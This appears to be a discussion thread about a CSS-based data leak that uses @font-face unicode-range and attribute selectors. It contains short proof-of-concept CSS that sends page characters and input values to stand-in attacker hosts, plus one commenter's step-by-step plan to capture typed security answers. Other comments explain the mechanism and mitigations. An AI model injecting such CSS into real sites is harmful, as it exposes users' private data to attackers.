CSS Based Attack fontface
mksben.l0.cm
mksben.l0.cm
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?ff); /* ff */
unicode-range: U+FB00;
}
#sensitive-information {
font-family: poc;
font-variant-ligatures: common-ligatures;
}
(edit: improved formatting/explanation)Did a bit of play around with it and it does seem to work on input fields but fortunately not on password type fields (which is logical, considering the browser is not rendering the actual characters for password fields)
Unless you've got a 'show password' checkbox (as recommended by Jakob Nielsen - http://www.nngroup.com/articles/stop-password-masking/).
This site doesn't allow password unmasking, but if it did that would also make it quite vulnerable on this front.
Font from origin 'http://l0.cm' has been blocked from loading by Cross-Origin Resource Sharing policy:
No 'Access-Control-Allow-Origin' header is present on the requested resource.
Origin 'http://lepunk.co.uk' is therefore not allowed access.I'm pretty sure the requests still go to the attacker.
You are right, they do, it's just that the returned data is not allowed to be seen/used by the page -- the "l0.cm" server still got the information.
idk if that makes edge vulnerable to this on password fields though.
edit : I read below that Edge does not expose the password through this vulnerability.
[value*=a] {
background-image: url('attacker.org/lolz.png?a');
}
[value*=b] {
background-image: url('attacker.org/lolz.png?b');
}
It can work on passwords too by the way, maybe it can give you an idea of the order based on the query order, and remember... this work only if the data got already loaded or the attribute got changed by JavaScript and not by manually typing...Edit: Tested that but it load the last bg only (make sense), so you need to use animation for that to load them one after one.
[0] https://code.google.com/p/chromium/issues/detail?id=543078
You could at least get the username, subscribed subreddits, and some debug info (such as the country code) this way...
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
#sensitive-information {
font-family: poc;
}
means "use the font-file 'http://attacker.example.com/?A' to format the text of element '#sensitive-information' but only to format the letter (glyph?) A". Presumably, the browser only bothers sending the request if it needs to, so my server at attacker.example.com can look out for ?A request to determine if the referer contains an element with that text.As stated, the attack vector will be limited, but this could certainly leak some information if you can get a site to host that CSS.
If you're on the other side (ie. the server serving the font) you can rebuild the original string by seeing which requests have been made and in which order.
Haven't tried it, but I doubt it'll try to fetch the same letter twice, so most of the time the string wouldn't be complete (but again, I haven't tried so I don't know for sure).
This attack assumes the attacker has some way of getting CSS they wrote onto the target website, via some other exploit.
The attacker then hosts many font files on a webserver they control. Let's call the fonts "a", "b", "c", and so on.
They then inject the CSS to set the font for text on the target page to their custom fonts - but tell it "use font a for all of the 'a' characters" and so on.
By observing which fonts are downloaded from their webserver, they can learn information on which characters are and are not present on the page.
The canonical HTML injection attack is cross-site scripting --- it's so canonical, in fact, that we usually just think about XSS, and not the generalized flaw of HTML injection. This is an illustration of how even closing off Javascript as an attack vector doesn't stop HTML injection attacks from working.
See also:
Injecting scripting is cute because it's far more flexible, but I'd guess an HTML injection is enough to get a fairly high rate of success, albeit a bit more noticeably.
1: discover html attribute vulnerable to this. 2: craft payload as a link, for Dom, reflected or stored. 3: watch them type characters as rules are triggered. (Is this possible to use as a key logger?!)
So that's general, then more specifically As an attacker I would probably trigger a password lock of the target where the user has to enter security questions. Then gather that information. Another reason to hate security questions.
Remediation:
Output encode in the proper context! This most certainly qualifies as the exact reason why your fancy blacklist (or whitelist) filter set is not the proper mitigation for xss. In the above scenario, The attacker is injecting rules as inline css in the context of an html attribute, so then output encode in that context.
Also I need to check if it can bypass the CSP in any way, though I doubt it.
Sorry for the organization or this post, as I mentioned im on the train.
I suppose this is the way to mitigate the issue, to download unconditionally all the font resources for which the `unicode-range` is smaller than a minimum number of characters?
If there was a way to target n-th letter in css, you could also get the full plaintext of an element with a huge number of font-face / selector combinations
Unless you trust the site.